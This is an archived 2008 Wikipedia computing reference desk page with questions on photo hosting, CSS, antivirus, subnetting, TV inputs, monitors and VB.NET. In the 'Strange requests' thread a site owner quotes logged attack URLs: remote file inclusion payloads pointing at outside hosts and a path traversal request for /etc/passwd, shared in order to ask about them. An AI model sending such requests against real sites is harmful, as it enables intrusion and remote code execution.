Wikipedia:Reference desk/Archives/Computing/2008 July 12

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July 12

the catch with shutterfly

what's the catch with shutterfly? are they just as harmless as Sun Java, who as a well known writer put it, opened a huge, free amusement park, opened it for business for everyone, and started selling candies in one of the many competing candy stores at the front gate of the amusement park? Surely, there must be a catch in it? what are the drawbacks of shutterfly? 67.173.249.88 (talk) 01:22, 12 July 2008 (UTC)

If you mean Shutterfly, the site, they are probably as "harmless" as any website that seeks to offer you a service of some sort, hopes to build a big audience, and then will ram ads down your throat until no tomorrow in order to turn a profit, or have you join with a pay account, or whatever. I don't see anything particular nefarious about them, or unusual. Perhaps you could be more specific about what you mean. --98.217.8.46 (talk) 21:43, 12 July 2008 (UTC)

For starters, are the images I upload public or private by default? and do they claim copyrights for my photos or something. I mean, if what I perceive as Shutterfly's business model is indeed its business model, and it is profitable, Yahoo! and Google should have come running after to match (or exceed) the offer. 67.173.249.88 (talk) 13:28, 13 July 2008 (UTC)

Well just read their site policies, they aren't hidden away. You retain copyright and ownership of anything you submit to them, but they get a right to use it for their purposes too. I don't know about public or private—if you bother to sign up you'll probably see pretty quickly. Again, I'm not sure why you'd assume there is a "catch"—it's just another photo hosting web service. They're probably just hoping to get bought out by Google like everyone else out there. --98.217.8.46 (talk) 16:42, 13 July 2008 (UTC)

Ubuntu - Audigy Platinum checklist

Hi, I'm running windows whenever I actually want to have sound, which is depressing because I like some of the free music software for linux better than the free pc stuff (I know audacity is cross platform but there's some other stuff). I can try my luck with some kinds of manuals and message boards out there some more but I'm kind of not having much luck. I can't get my front plate (with all the fancy connection ports) to work in either windows or linux and I can't get any sound at all in linux. At this point I guess I'll be satisfied to get the front plate working in windows (even though I'll have to switch back and forth to use Hydrogen) and get the soundcard working in ubuntu, but if I can get the front panel working in ubuntu that would be the best. What are the parameters or aspects or what-have-you that I need to account for to make it work? Can you give me a little overview of the components that make it all (ideally) come together? I was able to get the alsamixer going and make sure nothing's muted and I think I installed a driver for my soundcard but it didn't do anything so I dunno. Thanks. -LambaJan (talk) 02:17, 12 July 2008 (UTC)

Have you tried this? Try looking around the forums to see if there are howtos and the like. Creative's drivers are very dodgy, on both Windows and Linux; is there a reason why you NEED to use the card? --antilived^{T | C | G} 04:56, 12 July 2008 (UTC)

CSS

Hello Wikipedia. Does anyone know of a really great CSS tutorial? I've been working on a new website for a little while now, and I'm having the hardest time getting to div's two sit side by side. So if anyone has some advise, or a good place to start looking, that would be great. Thanks in advance! jesusfreak210 (talk) 05:05, 12 July 2008 (UTC)

The best CSS video tutorials are from Lynda.com and VTC.com. You have to pay for those, though. I'm sure that there are free ones, too, but I just use those two sites.--Hello. I'm new here, but I'm sure I can help out. (talk) 05:12, 12 July 2008 (UTC)

http://w3schools.com. --antilived^{T | C | G} 07:17, 12 July 2008 (UTC)

Try this :

this is left

this is right

-- Finlay McWalter | Talk 09:31, 12 July 2008 (UTC)

Yes, go to Western Civilisation and browse around their excellent CSS materials, free of charge. IFF you're feeling grateful or want an augmented version of this, pony up the modest sum required; but even if you pay them nothing you're not subjected to any nagging about it.

I'd supplement this with a book. There's some dreadful stuff available (even O'Reilly is now churning out huge books bulked up with pointless margins, cartoons, etc.) but I like Eric Meyer's Cascading Style Sheets 2.0: Programmer's Reference (ISBN 0072131780). -- Hoary (talk) 11:17, 12 July 2008 (UTC)

Google Apps location

When I put www.google.com in to the address bar of Firefox 3 I get redirected to www.google.co.uk and I'm in the UK so that's not a problem. But When I want to use Google Apps and I put in www.google.com/a it sometimes changes the language from English, presumably thinking that I'm in a different country. It seems to be something different each time I use it. Today its coming up in Turkish. Anyone know why this is? Jooler (talk) 07:36, 12 July 2008 (UTC)

Are you using Tor? This will mess up google's language (apparently set by tracing your IP). JeremyMcCracken (talk) (contribs) 02:06, 15 July 2008 (UTC)

Free anti virus

Hello people, what is the best free anti virus around? Whatever Anti virus suggests, doesnt seem to be free 59.94.237.192 (talk) 08:14, 12 July 2008 (UTC)

Do you mean gratis or libre? We have list of antivirus software#Freeware and list of antivirus software#Open source depending. Algebraist 08:46, 12 July 2008 (UTC)

AVG is free; I used it until they came out with version 8, which I don't like. I now one called ClamWin, also free. JeremyMcCracken (talk) (contribs) 19:49, 17 July 2008 (UTC)

Usually your ISP will provide an antivirus for you. If not, then I suggest AVG. It is thorough and does all you would need. Just google AVG Free.

Unfaithful browsers

Dear all ! story is this for a long time I used IE then few months ago i downloaded Firefox,both worked superbly whenever these were used.But now both are unwilling to open any web page.I was using IE6 but after it was updated to IE7 it has become totally useless.What might be the reason?Moreover suggest me a good site for real player free-download.--Catherine.michi (talk) 10:35, 12 July 2008 (UTC)

Wait, you can't get to any websites with either IE or Firefox? Are you sure your network connection is working? It sounds like your internet connection is simply down. Is that what's happening? Can you use other internet-apps, like AIM (or any other IM-client) or iTunes or Windows Update?

As for RealPlayer, there is a free version of it. Just go to www.realplayer.com and click on the "Free Download" link. You don't have to pay a dime. --Oskar 11:06, 12 July 2008 (UTC)

Though it boggles the mind as to why anyone would actually want to download RealPlayer... « Aaron Rotenberg « Talk « 13:39, 12 July 2008 (UTC)

The most recent version isn't so horrendous (it's a little horrendous), and if you need to play Real videos (which many sites still use), you don't really have much of a choice (any alternate solutions are just pains in the ass in comparison to just using real player). --Oskar 14:08, 12 July 2008 (UTC)

I have had enough troubles playing the BBC Nepali on my mac without the realplayer for me to go get real player. Kushal (talk) 17:24, 12 July 2008 (UTC)

Thanks guys!I got it.--Catherine.michi (talk) 20:33, 12 July 2008 (UTC)

Network administration question

As network administrator of an engineering company what permissions should i have to grant to company's executive,Managers of different departments and engineers?Please explain.--Catherine.michi (talk) 11:05, 12 July 2008 (UTC)

Well, on the most basic level, this depends on a whole bunch of things: What kind of systems are you using -- i.e., what are you granting permissions to? What do they need access to? What kind of security policies do you guys have in place? What kind of problems could you expect from the permissions? (Could they access confidential information they shouldn't have access to? Could giving them access increase the risk of an unauthorized third party getting into the system? Or could they simply break something by accident? That kind of stuff.)

A good rule of thumb is that in order to maintain a secure system, you shouldn't give anyone any access they don't actually need for their work. This kind of a practice has been known to occasionally lead to confrontations with people who think their authority is being challenged -- "I'm the CEO, I should have access to everything!" -- but it's not really a question of authority, it's a question of balancing work requirements with security requirements. -- Captain Disdain (talk) 12:27, 12 July 2008 (UTC)

OK fine.One question more,if i have to provide IP addresses to 125 computers then I think two IP addresses are enough to be purchased.If this is the case then how many bits sub-netting should be done to fulfill the requirement.--Catherine.michi (talk) 20:38, 12 July 2008 (UTC)

I'm not sure how you could possibly be a network administrator and be clueless about how many bits are required to count to 125, but then you probably don't really care about this stuff as long as you get a good grade on your homework. By this part of the class, you should know what an IP address is and you should know that it contains four numbers, each from 0 to 255. So, if the first three are fixed, the last one can still has 256 possible values (which is more than 125, in case you are wondering). If you fix the first bit of that last number, you get half the possible number - only 128 (again, that is more than 125). If you fix the first two bits of the last number, you half it again - only 64 possible numbers. That is less than 125. Hopefully you can complete the rest of it on your own. -- kainaw™ 03:19, 13 July 2008 (UTC)

You'll only need 1 IP address per site. The internal IP addresses are going to be in a private sub-net (192.168.x.x or 10.x.x.x) so they won't need a public IP address. All of your computers will share a single public IP address.

You really need an expert in this kind of thing if you have a network of 125 computers. If you just try to fake your way though it you'll end up doing yourself and your company a disservice. ---J.S (T/C/WRE) 17:49, 18 July 2008 (UTC)

I'd like to plug the people who made my TV...

Instead of having a TV/Video button on the remote, it "detects" if RCA cables (red/yellow/white cables) are plugged in and then switches to video mode. This might be acceptable if you plugged the cables in on the side in an easily accessible location, but, alas, they plug in the back. My TV is pushed into a corner of my bedroom so that the back of the TV is quite inaccessible. Due to the small size of my bedroom there doesn't seem to be a way to place it so that the cables can easily be plugged and unplugged when I want to switch between my DVD player and TV. So, just how does the TV "detect" that the cables are plugged in and is there any way I can trick it without actually unplugging the cables ? It's a Quasar VV8220. StuRat (talk) 15:32, 12 July 2008 (UTC)

You've probably tried this, but let's start with the obvious : Does it go back to TV mode if the DVD player is off? APL (talk) 15:43, 12 July 2008 (UTC)

The connectors on the TV into which the RCA cable connectors are plugged can be designed to detect the presence of a plug. It may be a purely mechanical arrangement (sensing the presence of the center pin of the plug) or it can be a jack that notices when the ground ring of the plug shorts together two portions of the jack. Or, as APL infers, the TV could detect the presence of an audio/video signal coming in on the RCA jack. But this whole scheme sounds very limiting -- are you sure there's no way to convince the TV to switch back to "broadcast" mode?

Atlant (talk) 17:47, 12 July 2008 (UTC)

Turning off the DVD player and/or the TV doesn't reset it to TV mode. I'm thinking it's a mechanical sensor on the center pin. Any other ideas ? StuRat (talk) 00:35, 13 July 2008 (UTC)

That's an immensely stupid design. However, If you don't mind losing a small amount of quality (not much, I suspect.) I'd say dispense with the TV's RCA inputs altogether, and get a RF modulator and feed the signal in through the coax jack. If you get one with a built-in switch it may even be not uncomfortably inconvenient. Look at this manual for the Radio Shack Auto-Sensing 4-Way Stereo A/V Selector & RF Modulator. It's also surprisingly inexpensive for a Radio Shack product. I suspect that you could plug your DVD player's RCA plugs and your cable into this device's inputs, and run its coax output to your television. Good luck. APL (talk) 01:02, 13 July 2008 (UTC)

That might be a possibility. I assume it can pass any input through as an identical output (S-VIDEO to S-VIDEO, RCA to RCA, and RF to RF). I'd also guess it downconverts S-VIDEO inputs to RCA or RF outputs and downconverts RCA inputs to RF output. I'd guess that it can't upconvert RF inputs to RCA or S-VIDEO outputs or upconvert RCA inputs to S-VIDEO output. Am I correct ? StuRat (talk) 06:59, 13 July 2008 (UTC)

That's what it appears to do. I've never used that exact piece of equipment. APL (talk) 15:17, 13 July 2008 (UTC)

TVs usually have a TV/AV button on the remote control or on the front panel, but sometimes just selecting channel 0 repeatedly switches between the TV mode and the various other inputs. Astronaut (talk) 05:54, 13 July 2008 (UTC)

This could be the answer. I've noticed that some TVs I've used in hotel rooms have the composite input on the channel list as though it were another channel. Have you tried setting the channel to 2 and clicking "down" a couple of times? APL (talk) 15:17, 13 July 2008 (UTC)

No, that doesn't appear to work. Whenever I try to go to a station it doesn't recognize, like 0, it just stays on the current channel. If I go down from channel 2 it just goes to the highest channel number it finds. This doesn't switch it over to TV mode, though, so I only see the channel change when I unplug the RCA cables. StuRat (talk) 16:01, 13 July 2008 (UTC)

One other bit of info; the video RCA jack and single (mono) audio RCA jack apparently work independently, as follows:

Video    Audio
RCA      RCA
Jack     Jack
Plugged  Plugged
In       In       Result
=======  =======  ========================
  No       No     Video from RF/audio from RF
  Yes      No     Video from RCA/audio from RF
  No       Yes    Video from RF/audio from RCA
  Yes      Yes    Video from RCA/audio from RCA

So, I can apparently play the video from one source and the audio from another, although I don't know why I would ever want to. StuRat (talk) 16:18, 13 July 2008 (UTC)

(Although I realize you're describing a mono input, conceptually,) you might have wanted this "separate" behavior in the days before TVs grew stereo (MTS) sound and simulcasting was occasionally done. FM also provided much better fidelity than TV sound.

Atlant (talk) 12:09, 14 July 2008 (UTC)

I just verified that it does go off the center pin pressure by inserting a rod about the same size as that on the RCA jacks. So, the only way to switch between RCA and RF using a remote would then be to have a device which physically inserts or pulls out the plugs when it get's the proper signal. Does such a device exist ? I suppose the alternative is to open up the TV and attempt to rewire how the RCA jacks work or, as suggested previously, just accept the lower quality and use the RF input exclusively. Another thought, is there a device that takes RF antenna input, selects a given analog channel, and sends that via RCA jacks ? StuRat (talk) 16:40, 13 July 2008 (UTC)

I'd go either for the rewire - it's only a switch after all (watch out for ALL the wires in the tv -they tend to have capacitors and the like storing massive voltages even when switched off..)

OR buy a set-top box - RF signals are mostly far worse than RCA composite (from experience).. What country?? In the UK you can get a set top box for less than £20 now, and that should also accept your dvd input (does the dvd have scart output - that's quite important here) - the set top box solution would be a little more expensive than the RF modulator probably but definately better quality. If you're in the US or HongKong or wherever then I have no idea.87.102.86.73 (talk) 19:55, 13 July 2008 (UTC)

It's in the US. But, out of curiosity, just what would the "set top box" do for someone in the UK ? Convert RF input into RCA outputs ? My DVD player has S-VIDEO and RCA outputs, but no RF (do any of them have RF ?). And definitely no SCART output, that must be a European thing. StuRat (talk) 23:04, 13 July 2008 (UTC)

Yes a 'set top box' is effectively an external TV tuner with composite/component outputs, as well as a by-pass for other things..87.102.86.73 (talk) 10:48, 14 July 2008 (UTC)

A quick search of Radio Shack and I can't find any analog set-top boxes. (possibly under the name 'TV tuner') I know they exist, and certainly you can rent them from the cable company. However, Consider that you'll probably need a digital one come February anyway. APL (talk) 06:07, 14 July 2008 (UTC)

I have a CECB, which produces RCA output. I also have two Canadian stations which I want to continue to get in analog until they switch over 2.5 years after the US. So, a "set-top box", if it allows me to switch between an analog TV RF input, and RCA inputs containing digital TV converted to analog, and RCA or S-VIDEO inputs from my DVD player, with RCA outputs in all cases, would solve the problem nicely for me. Ideally this set-top box would send RCA outputs from the DVD player if it gets input from there, or RCA outputs from the digital TV if it gets input from there, or RCA outputs from the analog TV RF input otherwise. Alternatively, if the same remote that comes with the box to change analog channels also flips between inputs, that would work, too. StuRat (talk) 12:49, 14 July 2008 (UTC)

Sounds like a pretty stupid design. If you can afford a different TV, that might the way to go. Astronaut (talk) 23:15, 13 July 2008 (UTC)

Strange requests

I often see a lot of requests like this in my website's log:

/~grawity//index.php?option=com_lmo&Itemid=&mosConfig_absolute_path=ftp://81.177.8.194/Upload/trem/old?
/~grawity//index.php?option=com_lmo&Itemid=&mosConfig_absolute_path=ftp://81.177.8.194/Upload/trem/1?
/~grawity//index.php?_SERVER[DOCUMENT_ROOT]=ftp://81.177.8.194/Upload/trem/old?
/~grawity//index.php?_SERVER[DOCUMENT_ROOT]=ftp://81.177.8.194/Upload/trem/1?
/~grawity//index.php?option=com_zoom&Itemid=&catid=&mosConfig_absolute_path=http://www.iglesialcs.cl/newweb//images/stories/.bash/in.txt?
/~grawity/index.php?inc=http://www.sonduzluk.com//administrator/components/com_joomla-visites/core/include/i???
/~grawity/index.php?option=com_virtuemart&task=&Itemid=&mosConfig_absolute_path=http://h1.ripway.com/sobatmu/echo.txt??
/~grawity/index.php?header=http://www.globalcare.or.kr/donor/tst.txt??
/~grawity/index.php?get=http://www.tikkieterug.nl/administrator/backups/sistem.gif?
/~grawity//index.php?option=com_lmo&Itemid=&mosConfig_absolute_path=http://www.bicarabuku.com/mambots/system/sql.txt?
/~grawity/index.php?body=http://www.wow-unbreakables.de/phpBB2//language/lang_english/email/id.txt??
/~grawity//index.php?option=com_lmo&Itemid=&mosConfig_absolute_path=../../../../../../../../../../../../../etc/passwd%00
/~grawity//index.php?option=com_letterman&task=view&Itemid=&mosConfig_absolute_path=http://itmovement.com/taxy/templates_nogui/editor/_samples/id.txt?

LOTS of requests like this. (Obviously, they don't work.) Should I notify the ISPs, or just don't bother with it? --grawity 18:20, 12 July 2008 (UTC)

Well, they're obviously trying to "hack" your site, hoping that you've written code so sloppy that if they throw in a few variables suddenly your server will spit back to them anything they want. I doubt notifying the ISPs will do anything much, though. --98.217.8.46 (talk) 18:34, 12 July 2008 (UTC)

...and so far, zero attempts were successful. Plus, I found an interesting FTP site in one of the requests. I'm only asking because it kinda wastes the bandwidth of my host (http://rootshell.be/). --grawity 19:26, 12 July 2008 (UTC)

You can try and contact the system administrator of the FTP site. His e-mail addressis written in that .txt file with a garbled name. Also, he says in that file that the FTP server hosts files for some game server and that he isn't responsible for the contents of the /Upload folder, meaning he can try to find who the hackers are and that could scare them off. Admiral Norton ^(talk) 20:04, 12 July 2008 (UTC)

They're very very likely to come from a slave machine on a botnet (the days of the joyriding amateur Berferd are long gone), so even if anyone were to trace the (apparent) origin they'd only find a poorly maintained Windows machine - and so (if you did tell them) your ISP probably won't do anything about it. It probably isn't using really that much of your bandwidth, as an http request for a non-existent page and the resulting 404 really should only be a few hundred bytes. If the attacks became so frequent that it really was starting to deny service (which is generally due to the network stack getting gummed up with all its socket slots in TIME_WAIT then whoever runs your firewall (which I'd imagine is your ISP) can write a little script that inspects packets thus:

             if the received packet contents match a known-attack-pattern:
                 blacklist the originating IP for 30 mins
                 force the TCP socket closed, and immediately reclaim the socket slot

But mostly its value is in reminding you that skilled people really are trying to hack your website every day.. -- Finlay McWalter | Talk 20:12, 12 July 2008 (UTC)

Well, not that skilled. These are just little injection queries probably run by slave botnets in order to create more slave botnets. They're probably totally automated. I once ran a mail server that got a few machines that tried to do this to it over and over again for awhile. I just blocked the IPs when they came up and eventually it stopped. (Amusingly the bots were trying to use Windows exploits, but the mail server was on a Mac. So it was kind of sad and pathetic.) --98.217.8.46 (talk) 21:24, 12 July 2008 (UTC)

Portrait Mode Monitors

Which monitors can be flipped to the portrait mode? I have been searching online for a couple of weeks and I've only come up with a couple. There must be a faster way. Thanks for any help. Robert Myers —Preceding unsigned comment added by 68.154.27.173 (talk) 18:53, 12 July 2008 (UTC)

With the X Window System, it's easy to rotate or reflect the screen, so you can just get an ordinary LCD panel or whatever, mount it in portrait mode, and then set up X to have the correct orientation. I can even do it right now on my laptop (the only problem is that the keyboard is stuck at the wrong angle). I wouldn't be surprised if Windows or Mac OS X have similar features. —Keenan Pepper 23:48, 12 July 2008 (UTC)

I did once succeed in that trick on Windows XP, but I was using a CRT monitor that can't be rotated. Admiral Norton ^(talk) 00:10, 13 July 2008 (UTC)

At work, I use a LCD monitor which can be turned to a portrait orientation. TBH I haven't tried turning it by more than a few degrees, so I've no idea if the driver switches the display round as well. I'm at home at the moment so all I can say is that it is made by IBM, but I try to post an update on Monday with the model number. Astronaut (talk) 05:36, 13 July 2008 (UTC)

Keep in mind that even if you turn an LCD physically it doesn't mean it was built to show the picture correctly. I tried turning an old IBM LCD on its side and the picture was horrible. --mboverload@ 05:42, 13 July 2008 (UTC)

Old LCDs used to have a pretty narrow viewing angle with brightness and especially color shifts occurring as you went "off-axis"; this may have been the reason the picture was horrible. This is less of a problem with modern LCDs which have pretty amazing viewing angles. And, per the original question, Mac OS X supports rotating the monitors although not all of the Apple Cinema Displays mechanically allow rotation using their provided stands. (Do any?)

Atlant (talk) 11:53, 14 July 2008 (UTC)

My monitor is an IBM ThinkVision 9417-HB7 (manual here) and it doesn't rotate the display automatically. The display card/driver is Intel's Graphics Media Accelerator (82915G/GV/910GL Express Chipset Family) and has a rotate function in the settings. The monitor seem a couple of years old, but perhaps you could find one on the used market. Astronaut (talk) 09:06, 14 July 2008 (UTC)

Assuming you can find a monitor that can stand being physically rotated, make sure your graphics card and associated software is able to rotate the display. I once had to explain to my mother by telephone how to return a display to normal orientation after the hotkey sequence had been accidentally triggered by my pet cat. -=# Amos E Wolfe ^talk #=- 13:30, 15 July 2008 (UTC)

Scipting with Visual Basic.NET

Hi,

Does anyone know if it's possible to script using Visual Basic.NET? I know some VB.NET, but I don't know any VB Script. When I try to type VB.NET into a file and save it with the .vbs extension, it does not work.

Thanks,

Hello. I'm new here, but I'm sure I can help out. (talk) 23:15, 12 July 2008 (UTC)

VBScript does not work in VB.NET. VB.NET is not really VB in the old sense—it's a different language, something of a hybrid between scripting and a more structured language.

There are ways to import VB6 projects (which are basically VBScript) into VB.NET automatically—maybe there's a way to import VBS? No clue. If it's just a very small amount of code you could try posting it here—it's not that hard to convert if you know your way around both languages. --98.217.8.46 (talk) 23:52, 12 July 2008 (UTC)

Thank you, but I'm looking to create scripts written mostly in Visual Basic.NET. I appreciate the coding offer, but it's more of a long-term need, rather than a single project. I wonder if the Windows Scripting Host can be extended to recognize VB.NET code?--Hello. I'm new here, but I'm sure I can help out. (talk) 00:53, 13 July 2008 (UTC)

VB.NET isn't a scripting language as mentioned above. You could, however, create a simple console application and run it without having to output to System.Console. I do this all the time and I never hesitate to create a simple console application whenever I feel like automating something. Create a new console application, write the code and run whenever. I don't understand why you don't want to run an exe file as opposed to a vbs file. If the black console window is bothering you there are ways to hide it. If you want to compile without visual studio you could simply use vbc.exe. --Yousifnet (talk) 01:25, 13 July 2008 (UTC)

Honestly, if you can use VBScript, you could probably figure out the relevant VB.NET without too much effort—it's not totally foreign from old school VB. It all depends on what you are doing. You can make it run as a console or hidden in the background or whatever you want. --98.217.8.46 (talk) 02:06, 13 July 2008 (UTC)

If your requirement is to run ad hoc scripts written in a VBScript-like language, then you can use the compiler classes in .NET to compile your script into a .NET assembly, and then load and run it. Once you've written your original utility which compiles the scripts (you'll need Visual Studio for this) you can then compile and run scripts using just the standard .NET CLR. KiwiBiggles (talk) 03:47, 13 July 2008 (UTC)

Uh, just in case anyone is wondering, that would not be a trivial thing to do. --98.217.8.46 (talk) 16:27, 13 July 2008 (UTC)